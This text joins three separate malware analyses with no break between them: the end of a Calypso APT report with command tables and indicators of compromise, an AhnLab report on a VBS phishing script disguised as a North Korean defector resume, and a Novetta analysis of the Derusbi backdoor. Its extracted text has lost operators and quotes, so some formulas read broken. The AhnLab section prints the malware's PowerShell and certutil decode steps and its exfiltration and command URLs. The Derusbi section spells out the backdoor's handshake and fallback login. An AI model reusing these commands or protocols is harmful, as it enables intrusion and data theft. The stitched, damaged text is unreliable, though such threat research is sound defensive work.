Then it parses the configuration string, which is also hard-coded in the shellcode.
The configura- tion includes information on addresses of C2 servers and schedule for malware operation.
1.
nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/april/ decoding-network-data-from-a-gh0st-rat-variant/ struct Packet struct PacketHeader _ DWORD key _ WORD cmdId _ WORD szPacketPayload _ DWORD moduleId  _ BYTE [max 0xF000] packetPayload  Figure 20.
Sample of configuration string Days of the week 13 https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/april/decoding-network-data-fr https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/april/decoding-network-data-fr After that the malware starts its main operating cycle.
It checks if the current time matches the malware operational time.
If not, the malware sleeps for about 7 minutes and checks again.
This happens until the current time is the operational time, and only then does the malware resume operation.
Figure 20 demonstrates an example in which the malware remains active at all times on all days of the week.
When the operational time comes, the malware goes down the list of C2 servers specified in the configuration and tries to connect.
The malware subsequently interacts with whichever of the C2 servers it is able to successfully connect to first.
Then the malware sends the information on the infected computer (such as computer name, current date, OS version, 32-bit vs. 64-bit OS and CPU, and IP addresses on network interfaces and their MAC addresses).
After the information on the infected computer is sent, the malware expects a response from C2.
If C2 returns the relevant code, sending is deemed successful and the malware proceeds.
If not, the malware goes back to sequentially checking C2 addresses.
Next it starts processing incoming commands from C2.
Modules Each module is a valid MZPE file mapped in the address space of the same process as the shell- code.
Also the module can export the GetClassObject symbol, which receives control when run (if required).
Each module has its own descriptor created by a command from C2.
The C2 server sends a byte array (0x15) describing the module.
The array contains information on the module: whether the module needs to be launched via export, module type (in other words, whether it needs pipes for communicating with C2), module size, entry point RVA (used if there is no flag for launching via export), and module data decryption key.
The key is, by and large, the data used to format the actual key.
Figure 21.
Module decryption We should also point out that decryption takes place only if modKey is not equal to the 7AC9h constant hard-coded in the shellcode.
This check affects only the decryption process.
If modKey does equal the constant, the malware will immediately start loading the module.
This means the module is not encrypted.
14 Each module is launched in a separate thread created specially for that purpose.
Launching with pipes looks as follows: The malware creates a thread for the module, starts mapping the module, and gives it con- trol inside the newly created thread.
The malware creates a new connection to the current working C2.
The malware creates a pipe with the name derived from the following format string: \\.\ pipe\windows02XMon (02X is replaced by a value that is received from 2 at the same time as the command for launching the module).
The malware launches two threads passing data from the pipe to C2 and vice versa, using the connection created during the previous step.
Two more pipes, \\.\pipe\win- dows02Xfir and \\.\pipe\windows02Xsec, are created inside the threads.
The pipe ending in fir is used to pass data from the module to C2.
The pipe ending in sec is used to pass data and commands from C2 to the modules.
The second thread processing the commands from C2 to the modules has its own handler.
This is described in more details in the Commands section.
For now we can only say that one of the commands can start a local asynchronous TCP server.
That server will accept data from whoever connects to it, send it to C2, and forward it back from C2.
It binds to 127.0.0.1 at whichever port it finds available, starting from 5000 and trying possible ports one by one.
Commands The following is a list of IDs for commands the malware can receive, along with commands the malware itself sends in various situations.
ID Direction Type Description 0x294C From 2 Command Create module descriptor 0x2AC8 From 2 Command Receive data containing the module, and save it 0x230E From 2 Command Launch module without creating additional pipes 0x2D06 From 2 Command Destroy module descriptor object 0x590A From 2 Command Launch built-in module for file system access 0x3099 From 2 Command Launch module and create additional pipes for communication 0x1C1C From 2 Command Self-removal: run a BAT script removing persistence and clearing the created directories 0x55C3 From 2 Command Upload file from computer to C2 0x55C5 From 2 Command List directories recursively 15 0x55C7 From 2 Command Download file from C2 to computer 0x3167 From 2 Command Write data to pipe ending in Mon 0x38AF From 2 Command Write command 0x38AF to pipe ending in Mon.
After that, end the open connection for the module.
Possibly means complete module operation 0x3716 From 2 Command Send module data to a different module 0x3A0B From 2 Command Same as 0x3099 0x3CD0 From 2 Command Start an asynchronous TCP server to shuttle data between C2 and connected client 0x129E From the malware Response ID of a packet containing information about the computer 0x132A From 2 Response ID of the packet sent by C2 in response to information sent regarding the infected computer.
The malware treats receipt of this packet as confirming successful receipt of such information 0x155B From the malware Response ID of the packet containing information regarding the initialized module descriptors.
The packet acts as GetCommand.
Response to this packet contains one of the supported commands 0x2873 From the malware Response ID of the packet that is sent if a module descriptor has been initialized successfully (0x294c) 0x2D06 From the malware Response ID of the packet that is sent if an error has occurred during module descriptor initialization (0x294c) 0x2873 From the malware Response the packet that is sent after module data has been received (0x2AC8).
Contains the amount of bytes already saved 0x2743 From the malware Response ID of the packet that is sent after a module is launched without pipes (0x230E) 16 0x2D06 From the malware Response ID of the packet that is sent after a module descriptor has been destroyed (0x2D06) 0x3F15 From the malware Response ID of the packet that is sent after a module is launched with pipes 0x32E0 From the malware Response ID of the packet that is sent if there has been an attempt to reinitialize the pipes already created for a module 0x34A7 From the malware Response ID of the packet containing the data sent from the pipe to C2 0x9F37 From the malware Response ID of the packet containing the data forwarded from the TCP server to C2 Network code Each packet has the following structure: Struct Packet Struct Header _ DWORD rand _ k1 _ DWORD rand _ k2 _ DWORD rand _ k3 _ DWORD szPaylaod _ DWORD protoConst _ DWORD packetId _ DWORD unk1 _ DWORD packetKey  _ BYTE [max 0x2000] packetPayload  Each packet has a unique key calculated as szPayload  GetTickCount()  hardcodedConst.
This key is saved in the corresponding packetKey header field.
It is used to generate another key for encrypting the packet header with RC4 (encryption will not occur without the packetKey field).
RC4 key generation is demonstrated in the following figure.
17 Figure 22.
Generating RC4 key for the header Then yet another RC4 key is generated from the encrypted fields szPayload, packetId, proto- Const, and rand_k3.
This key is used to encrypt the packet payload.
Figure 23.
Generating RC4 key for the packet payload 18 Next the shellcode forms the HTTP headers and the created packet is sent to C2.
In addition, each packet gets its own number, indicated in the URL.
Modules may pass their ID, which is used to look up the connection established during module launch.
Module ID 0 is reserved for the main connection of the stager.
Figure 24.
Forming HTTP headers Other options As we noted, the dropper may be configured to launch not just shellcode, but executable files too.
We found the same dropper-stager but with different payloads: Hussar and FlyingDutchman.
Dropper-stager The main tasks of this dropper are unpacking and mapping the payload, which is encoded and stored in resources.
The dropper also stores encoded configuration data and passes it as a parameter to the payload.
Figure 25.
Unpacking the payload 19 Hussar In essence Hussar is similar to the shellcodes described earlier.
It allows loading modules and collecting basic information about the computer.
It can also add itself to the list of authorized applications in Windows Firewall.
Initialization To start, the malware parses the configuration provided to it by the loader.
Figure 26.
Configuration sample Configuration structure is as follows: Struct RawConfig _ DWORD protocolId _ BYTE c2Strings [0x100]  The protocolId field indicates the protocol to be used for communicating with C2.
There are a total of three possibilities: If protocolId equals 1, a TCP-based protocol will be used.
If protocolId equals 2, the protocol will be HTTP-based.
If protocolId equals 3, it will be HTTPS-based.
The time stamp is calculated from the registry from the key SOFTWARE\Microsoft\Windows\ CurrentVersion\Telephony (Perf0 value).
If reading the time stamp is impossible, temp is added to the computer identifier.
Figure 27.
Generating computer ID 20 Next Hussar creates a window it will use for processing incoming messages.
Figure 28.
Creating dispatcher window Then the malware adds itself to the list of authorized applications in Windows Firewall, using the INetFwMgr COM interface.
To complete initialization, Hussar creates a thread which connects to C2 and periodically polls for commands.
The function running in the thread uses the WSAAsyncSelect API to notify the window that actions can be performed with the created connection (socket is ready for reading, connected, or closed).
Figure 29.
Communication between the open socket and the window In general, for transmitting commands, the malware uses the window and Windows messaging mechanism.
The window handle is passed to the modules, and the dispatcher has branches not used by the stager, so we can assume that the modules can use the window for communication with C2.
21 Identifier Direction Type Description 0x835 From 2 Command Collect information on the infected comput- er (such as OS version, user name, computer name, and string containing current time and processor name based on registry data, plus whether the OS is 64-bit) 0x9CA4 From 2 Command Load module.
Module data comes from C2 0xC358 (Window MSG Code) ??
?
Command Transmit data from LPARAM to C2 0xC359 (Window MSG Code) ??
?
Command Transmit C2 configuration to the module.
Module ID is transmitted to LPARAM 0x834, 0x835, 0x838, 0x9CA4, none of these ??
?
Command Transmit the received packet to the module.
Module ID is sent from C2 Modules Each module is an MZPE file loaded into the same address space as the stager.
The module must export the GetModuleInfo function, which is called by the stager after image mapping.
22 FlyingDutchman The payload provides remote access to the infected computer.
It includes functions such as screenshot capture, remote shell, and file system operations.
It also allows managing system processes and services.
It consists of several modules.
Module ID CMD ID Direction Type Description 0xafc8 0xAFD3 From 2 Command Module ping 0xAFD4 From 2 Command Sends information about the infected comput- er (such as OS version and installed service packs, processor name, string containing cur- rent time and screen resolution, and informa- tion about free and used disk space) 0xAFD5 From 2 Command Sends list of processes running on the system 0xAFD7 From 2 Command End process.
Process PID is transmitted from C2 0xAFD9 From 2 Command Sends list of current windows on the system, along with their titles 0xAFDA From 2 Command Send WM_CLOSE message to a specific window 0xAFDB From 2 Command Maximize window 0xAFDC From 2 Command Minimize window 0xAFDD From 2 Command Show window 0xAFDE From 2 Command Hide window 23 0xAFE0 From 2 Command Sends list of current services on the system 0xAFE1 From 2 Command Modifies the status of an existing service.
Service name is obtained from C2.
It can launch a service or change its status to STOP, PAUSE, or CONTINUE.
C2 indicates which status to change to 0xAFE2 From 2 Command Delete existing service.
Service name is re- ceived from C2 0xAFE3 From 2 Command Change service start type.
Service name is received from C2 0xabe0 0xABEB From 2 Command Module ping 0xABEC From 2 Command Launch the process for transmitting screen- shots from the infected computer.
Screenshots are taken every second 0xABED From 2 Command Pause screenshot capture process 0xABF1 From 2 Command Stop taking screenshots.
The module stops running 0xa7f8 0xA803 From 2 Command Run cmd.exe plus a thread, which will read console output data from the related pipe and send it to C2 0xA804 From 2 Command Write command to the pipe linked to STDIN of the cmd.exe created previously 0xA805 From 2 Command Stop the cmd.exe process and all associated pipes.
The module stops running 0xa410 0xA41B From 2 Command Sends information about system disks and their types 24 0xA41C From 2 Command Sends directory listing.
The relevant directory path is obtained via C2 0xA41E From 2 Command Upload file from the computer to C2 0xA41F From 2 Command Run file 0xA420 From 2 Command Delete file 0xA421 From 2 Command Download file from C2 0xA424 From 2 Command Move file 0xA425 From 2 Command Create directory 0xA426 From 2 Command File Touch 0xA428 From 2 Command Sends the size of a file to C2.
File path is passed via C2 25 Conclusion The group has several successful hacks to its credit, but still makes mistakes allowing us to guess its origins.
All data given here suggests that the group originates from Asia and uses malware not previously described by anyone.
The Byeby trojan links the group to SongXY, encountered by us previously, which was most active in 2017.
We keep monitoring the activities of Calypso closely and expect the group will attack again.
Indicators of compromise Network 23.227.207.137 45.63.96.120 45.63.114.127 r01.etheraval.com tc.streleases.com tv.teldcomtv.com krgod.qqm8.com File indicators Droppers and payload C9C39045FA14E94618DD631044053824 Dropper E24A62D9826869BC4817366800A8805C Dll F0F5DA1A4490326AA0FC8B54C2D3912D Shellcode CB914FC73C67B325F948DD1BF97F5733 Dropper 6347E42F49A86AFF2DEA7C8BF455A52A Dll 0171E3C76345FEE31B90C44570C75BAD Shellcode 17E05041730DCD0732E5B296DB16D757 Dropper 69322703B8EF9D490A20033684C28493 Dll 22953384F3D15625D36583C524F3480A Shellcode 1E765FED294A7AD082169819C95D2C85 Dropper C84DF4B2CD0D3E7729210F15112DA7AC Dll ACAAB4AA4E1EA7CE2F5D044F198F0095 Shellcode 26 Droppers with the same payload 85CE60B365EDF4BEEBBDD85CC971E84D dropper 1ED72C14C4AAB3B66E830E16EF90B37B dropper CB914FC73C67B325F948DD1BF97F5733 dropper 43B7D48D4B2AFD7CF8D4BD0804D62E8B 617D588ECCD942F243FFA8CB13679D9C 5199EF9D086C97732D97EDDEF56591EC 06C1D7BF234CE99BB14639C194B3B318 Payload without dropper E3E61F30F8A39CD7AA25149D0F8AF5EF Dll 974298EB7E2ADFA019CAE4D1A927AB07 Shellcode AA1CF5791A60D56F7AE6DA9BB1E7F01E Dll 05F472A9D926F4C8A0A372E1A7193998 Shellcode 0D532484193B8B098D7EB14319CEFCD3 Dll E1A578A069B1910A25C95E2D9450C710 Shellcode 2807236C2D905A0675878E530ED8B1F8 Dll 847B5A145330229CE149788F5E221805 Shellcode D1A1166BEC950C75B65FDC7361DCDC63 Dll CCE8C8EE42FEAED68E9623185C3F7FE4 Shellcode Hussar FlyingDutchman 27 MITRE ATTCK Tactic ID Name Execution T1059 Command-Line Interface Persistence T1060 Registry Run Keys / Startup Folder T1053 Scheduled Task T1158 Hidden Files and Directories Defense Evasion T1027 Obfuscated Files or Information T1085 Rundll32 T1064 Scripting Credential Access T1003 Credential Dumping Discovery T1087 Account Discovery T1046 Network Service Scanning T1135 Network Share Discovery T1082 System Information Discovery Lateral Movement T1097 Pass the Ticket Collection T1114 Email Collection T1113 Screen Capture T1005 Data from Local System Command And Control T1043 Commonly Used Port T1024 Custom Cryptographic Protocol T1001 Data Obfuscation Positive Technologies is a leading global provider of enterprise security solutions for vulnerability and compliance manage- ment, incident and threat analysis, and application protection.
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ptsecurity.com infoptsecurity.com Calypso APT_A4.ENG.0002.02 https://www.ptsecurity.com/ww-en/ mailto:info40ptsecurity.com?subject Calypso APT Initial infection vector Lateral movement Attribution Analyzing Calypso RAT malicious code Dropper Installation BAT script Shellcode x86: stager Modules Commands Network code Shellcode x64: stager (base backdoor) Modules Commands Network code Other options Dropper-stager Hussar Initialization Modules FlyingDutchman Conclusion Indicators of compromise Network File indicators Droppers and payload Droppers with the same payload Payload without dropper Hussar FlyingDutchman MITRE ATTCK
1/6 March 29, 2022 APT attack disguised as North Korean defector resume format (VBS script) asec.ahnlab.com/ko/33141 The ASEC analysis team recently confirmed that malicious VBS for the purpose of information leakage is being distributed through phishing emails related to North Korea.
It contains the contents of a broadcast related to North Korea, and a compressed file is attached.
Referring to writing a resume, induce execution of the attached file.
A malicious VBS script file exists inside the compressed file.
Figure 1.
dissemination email https://asec.ahnlab.com/ko/33141/ 2/6 Figure 2.
attached compressed file The brief behavior of the 2022 resume form.vbs file is as follows.
Information Collection and Transmission Generating a normal Korean file Creating additional malicious script files and registering the task scheduler When the VBS file is executed, information of the users PC is collected through the following command.
Information Collected command List of currently running processes cmd /c tasklist /v  clip routing table information cmd /c Route print  clip About Program Files folder cmd /c dir /w SystemRoot/../Program Files clip About Program Files (x86) folder cmd /c dir /w SystemRoot/../Program Files (x86)  clip Table 1.
Information Collected After encoding the collected information in Base64, it is transmitted to hxxp://fserverone.webcindario[.
]com/contri/sqlite/msgbugPlog.php.
Parameter value: CacheerrorSand[User name]Data[base64-encoded collection information]Em[base64-encoded user name] 3/6 Also, in order to disguise as a normal file, the Korean file created with the 2022.hwp command is executed in the folder where the 2022 resume form.vbs file is executed.
The Korean file contains the contents of the resume format as follows.
Figure 3.
Hangul file inside 4/6 Figure 4.
Hangul file properties After that, the data present in the response received from the URL that transmitted the information is executed using PowerShell.
Also, the appdata\mscornet.vbs file created through the corresponding response is registered in the task scheduler as the Google Update Source Link name.
In addition to this, copy mscornet.vbs to the startup program folder so that the VBS file can be executed automatically, and then self-delete the 2022 resume form.vbs file.
5/6 Figure 5.
created task scheduler Currently, no special response is received from hxxp://fserverone.webcindario[.
]com/contri/sqlite/msgbugPlog.php, which sent the information, but the received response recorded in RAPIT, our automatic analysis system (confirmed on 3/26) ) contains additional commands.
In the response message, use PowerShell to save base64-encoded data in AppData\KB3241.tmp.
After that, KB3241.tmp is decoded and saved as AppData\mscornet.vbs, and then KB3241.tmp is deleted.
powershell -w hidden ECHO OFF echo RnVuY3Rpb24gaDJzKGgpDQogIERpbSBhIDogYSA9IFNwbGl0KGgpDQogIERpbSBp AppData\KB3241.tmp echo DQogIEZvciBpID0gMCBUbyBVQm91bmQoYSkNCiAgICAgIGEoaSkgPSBDaHIoIiYi AppData\KB3241.tmp  echo ZSINCmtpbGxQcm9jZXNzICJpZWxvd3V0aWwuZXhlIg  AppData\KB3241.tmp certutil -f -decode AppData\KB3241.tmp AppData\mscornet.vbs del AppData\KB3241.tmp mscornet.vbs connects to hxxp://cmaildowninvoice.webcindario[.
]com/contri/sqlite/msgbugGlog.php?
CachefailSand[PC name] and executes the received response with the Execute command.
Currently, additional commands are not identified in the URL, but various malicious actions can be performed by an attacker.
Recently, malicious codes disguised as North Korea-related contents are being distributed in the form of VBS scripts as well as word documents, so user attention is required.
6/6 Currently, AhnLab V3 product diagnoses the file as follows.
[
File Diagnosis] Dropper/VBS.Generic Trojan/VBS.Agent [IOC] ab97956fec732676ecfcedf55efadcbc e49e41a810730f4bf3d43178e4c84ee5 hxxp://fserverone.webcindario[.
]com/contri/sqlite/msgbugPlog.php hmsp ://cmaildowninvoice.webcindario/sqlite/contrig.
Related IOCs and related detailed analysis information can be checked through AhnLabs next-generation threat intelligence platform AhnLab TIP subscription service.
Categories: Malware information Tagged as: VBScript https://atip.ahnlab.com/main https://asec.ahnlab.com/ko/category/malware/ https://asec.ahnlab.com/ko/tag/vbscript/
Derusbi (Server Variant) Analysis Overview There are two types of Derusbi malware: a client-server model and a server-client model.
Both types provide basic RAT functionality with the distinction between the two being largely the directionality of the communication.
This report will focus on the server-client variant (or simply, the server variant) of Derusbi, which acts as a server on a victims machine and waits for commands from a controlling client.
In and of itself, the Derusbi server variant is a largely unremarkable RAT when viewed from the perspective of functional capabilities.
The server variant supports basic RAT functionality such as file management (uploading and downloading), network tunneling and remote command shell.
What makes the server variant interesting is the device driver that the variant installs.
The server variant utilizes a device driver in order to hook into the Windows firewall by either using largely undocumented Windows Firewall hooking techniques found in Windows XP and older or by using the documented Windows Filtering Platform found in Windows Vista and later.
The driver, after hooking the firewall using either of the two mentioned interfaces, will inspect incoming network packets.
If a specific handshake occurs between the client and the server variant, the remainder of the communication session for the established session will be redirected to the server variant.
If the driver does not detect the appropriate handshake, then the network traffic is allowed to pass unobstructed.
This allows an attacker to hide their communication within a cluster of network sessions originating from a single IP such as would be the case for a client performing multiple HTTP requests against a web server.
Startup Sequence The server variant runs as a svchost dependent service.
While the server variant binary does have exports related to the standard service DLL (e.g.
ServiceMain, DllRegisterService, etc.
),
the startup sequence truly begins in the DllEntryPoint function.
When loaded into memory via a LoadLibrary or equivalent function call, the server variant will determine the name of the host binary (presumably svchost.exe) as well as its own DLLs name.
The binary then spawns a new thread that contains the main server variant code in order to allow the DllEntryPoint routine to return to the calling function.
Within the main server variant function (dubbed mainThread), the server variant loads a pointer to the API function GetCommandLineW, locates the pointer in memory to the command line string, and then locates the first space within the command line string and terminates the string by placing a NULL character at the location.
The server variant then attempts to determine if it has suitable access rights within the system in order to operation.
The check for access rights effectively checks to see if the server variant process is running under the NT Authority.
If the check is unsuccessful, then the server variant terminates.
With the command line patched and authority verified, the server variant sleeps for 5 seconds before verifying that the fShutdown flag is not set.
The fShutdown flag can become set by the process loading the server variant calling the DllRegisterServer export.
The DllRegisterServer function, among other tasks, will attempt to install the server variant as a server on the victims machine.
Therefore, by waiting 5 seconds before continuing the mainThread functionality, the server variant is giving the DllRegisterServer time to activate and perform the necessary operations to ensure that the server variant is properly installed and activated as a service.
The mainThread calls the mainLoop function of the server variant.
The mainLoop function begins by loading the unique infection ID for the victims machine from the registry (under the key value located at HKLM\SOFTWARE\Microsoft\Rpc\Security).
The infection ID, if present, must be decoded by XORing each byte of the string with a static byte value (typically 0x5F).
If the infection ID does not exist within the registry, the server variant will attempt to load the configuration from an encoded buffer located immediately after the static string XXXXXXXXXXXXXXX, decode the buffer by starting at the last byte and XORing each previous byte by the current byte value in reverse order the server variant will then use a specific portion of the configuration blob as the infection IDs base.
Next, the server variant will append a hyphen and a four digit value to the end of the infection ID to generate the unique infection ID for the victims machine.
The newly generated infection ID is then saved to the registry location stated previously.
The mainLoop attempts to get the privileges for SeDebugPrivilege, SeLoadDriverPrivilege, SeShutdownPrivilege, and SeTcbPrivilege in order to perform the necessary operations to load the driver portion of the server variant.
The mainLoop will attempt to open a handle to the driver (if it is already installed) by calling CreateFile with the filename of \Device\93144EB0-8E3E-4591-B307-8EEBFE7DB28F.
Failing this, the mainLoop determines if the victims machine is running the 360 antivirus product by looking for a process with the name ZhuDongFangYu.exe.
If the process is running, the driver is not installed but the mainLoop continues regardless.
If the process is not found, however, the mainLoop will extract the driver binary from an encoded buffer within itself, decode the file in memory (using a rotating 4-byte XOR key), and install the driver on the victims machine as SYSDIR\Drivers\93144EB0-8E3E-4591-B307-8EEBFE7DB28F.sys.
With the driver present (or recently installed), the mainLoop spawns another thread (dubbed DerusbiThread::DerusbiThread) that acts as the primary communication loop.
DerusbiThread::DerusbiThread begins by generating a PCC_SOCK object.
PCC_SOCK is an abstraction for the communication subsystem.
The prototype for PCC_SOCK appears in Figure 1.
class BD_SOCK  // members BD_SOCK()  // destructor BD_SOCK Copy(bool fCopySocket) // duplicate object // member variables DWORD dwLastError char szHostName[256] DWORD dwListeningPortNumber SOCKET sktRemoteEndpoint SOCKET hListeningSocket  class PCC_SOCK: BD_SOCK  PCC_SOCK() // destructor // virtual members PCC_SOCK  Copy(bool fCopyListeningSocket) SOCKET ConnectToRemoteEndpointByNameAndAttemptChannelByPOSTOrHandshake(int a2, int a3, int a4, int a5, char pszHostname, int wHostPort) SOCKET ConnectToRemoteEndpointByNameAndHandshake(char pszHostname, int wHostPort) SOCKET ConnectToRemoteEndpointByNameAndPerformPOSTLogin(char pszHostname, int wHostPort) SOCKET WaitForClient() int SendEncodedData(int dwPktType, void payload, size_t dwPayloadSize) int RecvEncodeData(DWORD pdwPktType, char pvPayload, DWORD pdwPayloadSize) void freeMemory(void pMemory) // member functions int SendVictimInfo() int WaitForReadEvent(int dwTimeout) int SOCKSConnectWithRandomLocalPort(int dwEndPointIP, u_short hostshort) int BindToRandomPort(SOCKET s) int SendBuffer(SOCKET s, char buf, int len) SOCKET AcceptIncomingConnection() SOCKET ConnectToRemoteEndpointByName(char szHostName, int hostshort) SOCKET ConnectToRemoteEndpoint(int dwIP, u_short wPort) int ReadFromRemoteEndpoint(char buf, int len) SOCKET NewSocket() int BindSocket(SOCKET s, int dwLowPort, int dwHighPort) int SendAuthenicationResponse(void pvResponse) int SendHTTP200ResponseIfViaHeaderFound (char Str) // member variables char compressionBuffer[65536]  Figure 1: PCC_SOCK Declaration in Pseudo-C With a new PCC_SOCK object allocates, DerusbiThread::DerusbiThread selects a port between 40,000 and 45,000 to use as a listening port.
The port number is sent to the driver (via IOCTL 0x220200) in order to inform the driver where to redirect incoming traffic.
The Windows Device Driver (Firewall Hook) section explains the functionality of the driver in greater detail.
DerusbiThread::DerusbiThread binds to the specified port and opens the port as a listener.
At this point DerusbiThread::DerusbiThread enters an infinite loop of waiting for new connections to the listening socket and dispatching a new thread (dubbed CommLoop) to handle the traffic for the socket until fShutdown is set.
At this point, the startup sequence for Derusbi is complete and the server variant moves into a communication and command dispatch phase.
Windows Device Driver (Firewall Hook) The communication between the controlling client and the Derusbi server variant depends on the device driver being in place.
The authors of the device driver designed the driver to work on Windows 2000 and later versions of the Windows operating system.
Depending on the version of the victims OS, the driver will hook the Windows Firewall by either using the surprisingly undocumented IOCTL_IP_SET_FIREWALL_HOOK command of the \\Device\IP device for Windows XP or older machines or by using the documented Windows Filtering Platform (WFP) found in Windows Vista and later.
The device driver inspects incoming network traffic from any client connecting to the victim machine, determines if an appropriate handshake packet occurs at the beginning of a new TCP session, and then makes the decision to reroute the network traffic to the Derusbi malware or let the traffic continue unaltered to its original service.
Figure 2: Device Driver Traffic Redirection Once a session has been established by means of a valid handshake, any subsequent packets from the client for the given TCP session will automatically be directed by the device driver to the Derusbi server variant.
The device driver does not capture or store any network traffic outside of the initial handshake inspection.
Communication and Command Dispatch The Derusbi server variant will select an available, random port between the range of 40,000 and 45,000 on the victims machine upon which to listen.
After selecting the port, the server variant will wait for incoming connections and instruct the driver to redirect appropriate TCP sessions to the listening port.
In order to establish a valid communication channel between the server variant and a controlling client, a specific handshake is required.
The handshake between a client and the server variant is well defined and consisting of 64 bytes, the data within the handshake is entirely random with the exception of the 3rd and 8th DWORD.
The handshake begins when the client sends a 64 byte random buffer with the 3rd (offset 12) and 8th (offset 32) DWORDs defined as: DWORD3  DWORD0 DWORD8  ROR(DWORD0, 7) The server will acknowledge the handshake by sending a 64 byte random buffer with the same pattern for the 3rd and 8th DWORDs based on the new, randomly generated 1st DWORD (offset 0).
It is the clients handshake that the driver for the server variant triggers off of.
Some older versions of the server variant use a different set of DWORDs to validate the handshake, also the tests are the same.
These other versions have been observed to use the following DWORDs: DWORD1  DWORD0 DWORD2  ROR(DWORD0, 7) If the handshake fails, the server variant provides a secondary means to authenticate a client.
Presumably a failsafe if the driver is unable to load, the secondary method requires the client to send a POST request with the following form: POST /forum/login.cgi HTTP/1.1\r\n In addition, the POST request must contain a Via field.
If the request and the Via field exist, the server variant authenticates the client and responds with HTTP/1.0 200 Server: Apache/2.2.3 (Red Hat) Accept-Ranges: bytes Content-Type: text/html Proxy-Connection: keep-alive If the clients request does not meet the appropriate authentication criteria, the server variant sends: HTTP/1.0 400  Bad Request Server: Apache/2.2.3 (Red Hat) Connection: close With a communication channel between the server variant and the client established, the server sends information about the victims computer.
Consisting of a 180 byte data structure (Figure 3), the server variant provides the client with a variety of details about the victims machine.
The VictimInfoPacket has an identifier of 2 (see the dwPktType explanation below).
The communication between the server and the client at this point, and for the remainder of the session, is encrypted.
pragma pack(push, 1) struct VictimInfoPacket  int magicValue char szInfectionID[64] char szComputerName[64] char szSelfIP[16] char unknownArray[16] int dwOSandSPVersionInfo int dwBuildNumber char unknownValue char OemId __int16 unused_align2 int fCampaignCodeMatch  pragma pack(pop) Figure 3: VictimInfoPacket Structure Definition Communication between the client and the server variant exists in the form of a sequence of encrypted datagrams.
Each datagram consists of a 24 byte header followed by an optional payload section.
The header is not encrypted but if the optional payload is attached, the payload is encrypted using a DWORD XOR.
The format of the header is as follows: struct PacketHeader  DWORD dwTotalPacketSize DWORD dwPktType DWORD dwChecksum DWORD dwEncryptionKey DWORD fCompressedPayload DWORD dwDecompressedSize  The dwTotalPacketSize field defines the total size of the datagram including both the size of the header and the size of the optional payload.
The dwPktType field correlates to the module ID which allows the server variant to route the datagram to the appropriate module without further inspection of the payload data.
The dwChecksum value is sum of all of the bytes within the optional header (the field is ignored, but present, if there is no payload section).
The dwEncryptionKey is the 32-bit XOR encryption key for the payload section.
If the fCompressedPayload field is non-zero, then the data within the payload is compressed using LZO compression (prior to XOR encoding) and the dwDecompressedSize field represents the final size of the payload data after decompression.
The payload section can have up to three different presentations depending on if compression is used.
The first presentation is the original payload data as generated by the client or server, the second presentation is the LZO compressed form, and the final presentation (the presentation that exists going across the network) is the 32-bit XOR encoded data blob.
Figure 4 provides a graphical representation of the presentation types of the payload section.
Figure 4: Possible Presentations of the Payload Section of a Derusbi Server Variants Datagram After sending the server information via the VictimInfoPacket, the server variant spins off a CommLoop thread for the connection and returns to waiting for new connections from clients to appear.
The CommLoop thread begins by establishing the set of internal command handlers available to the server variant.
With the exception of the administrative command handler (which is built into the CommLoop), each of the internal commands consists of an object derived from a base object PCC_BASEMOD.
class PCC_BASEMOD  PCC_BASEMOD() // destructor // virtual member functions void return1() // always returns 1 void Cleanup(void) void ProcessPacket(void pkt, DWORD dwPktSize) int ReadWaitingData(void pPacket, DWORD dwPktSize) int MallocWithClear(size_t Size) int Free(void Memory) // member variables DWORD dwPacketIdentifierCode  Figure 5: PCC_BASEMOD Pseudo-C Declaration The server variant appears to have a modular design allowing an attacker to compile only the components that are necessary for any given operation.
The malware supports up to 8 different modules per sample with each module designating its own ID code.
Novetta has observed the following modules: ID Class Name Module Description 0x81 PCC_CMD Remote command shell 0x82 PCC_PROXY Network tunneling 0x84 PCC_FILE File management 0xF0 n/a Derusbi administrative [built-in module that does not count against the maximum of 8 modules per variant sample] Given the spacing in ID numbers (as noted in the gap between 0x82 and 0x84 in an otherwise sequential ID scheme), it is conceivable that additional modules exist.
After establishing the tools, an infinite loop (CommLoop) is entered in which the server variant will wait for up to 1/100 of a second for input from the network if such input arrives, the server routes the packet to the appropriate handler.
If the network input does not arrive, the CommLoop queries each of the command handlers for any packets they may have queued (by calling each command handlers ReadWaitingData function) and transmits the packets the handlers have generated.
Additionally, if more than 60 seconds passes between network inputs from the client or network outputs from the server variant, the CommLoop will send out a beacon packet (dwPktType  4).
CommLoop routes packets to the appropriate command handler object by locating the dwPacketIdentifierCode within each of the registered command handlers that matches the incoming packets dwPktType.
When the appropriate command handler is found, CommLoop passes the payload of portion of the packet to the command handlers ProcessPacket function.
PCC_CMD The PCC_CMD object contains the remote shell functionality of the server variant along with the ability to execute arbitrary programs.
Derived from the PCC_BASEMOD class, the PCC_CMD classs operations are focused largely in the ProcessPacket and ReadWaitingData functions.
The PCC_CMD::ProcessPacket function works as a stub function that merely passes the packets payload data (pkt) data to PCC_CMD::ProcessPacketEx while ignoring the dwPktSize parameter.
The packets payload data is, in and of itself, another datagram with a header and optional payload section.
The payload of each PCC_CMD destined packet contains the following header: struct PCCCMDPacketHeader  DWORD dwPacketSize DWORD field_4 // purpose unknown, seemingly unused.
DWORD dwCommandType DWORD dwLastError  The dwCommandType field specifies the specific PCC_CMD command that the client is requesting the server variant perform.
There are four commands that PCC_CMD supports: dwCommandType Functionality 0x04 Activate the remote shell 0x08 Execute the specified file 0x0C Send input to remote shell 0x10 Terminate the remote shell For each of the commands, any output from or acknowledgement of the commands comes in the form of another packet consisting of a PacketHeader followed by a PCCCMDPacketHeader and any optional payload data.
The dwCommandType of the newly constructed packet matches the commands original dwCommandType value (e.g.
responses from 0x04 commands will reply with dwCommandType set to 0x04).
PCC_CMD::ProcessPacketEx will queue the response packets in an internal buffer.
The PCC_CMD::ReadWaitingData member function is responsible for transmitting any of the previously queued packets from PCC_CMD::ProcessPacketEx.
If there are no queued packets, PCC_CMD::ReadWaitingData will perform a queue of the console output pipe for the remote shell process (if it is active) the function will also attempt to read the entirety of the waiting data, which then becomes the payload of a PacketHeader/PCCCMDPacketHeader based packet with the dwCommandType set to 0x0C.
If the read is unsuccessful, the function returns a PacketHeader/PCCCMDPacketHeader based packet with the dwCommandType set to 0x10 indicating an error and terminating the remote shell session.
PCC_FILE The PCC_FILE object provides a large range of file system administration functions.
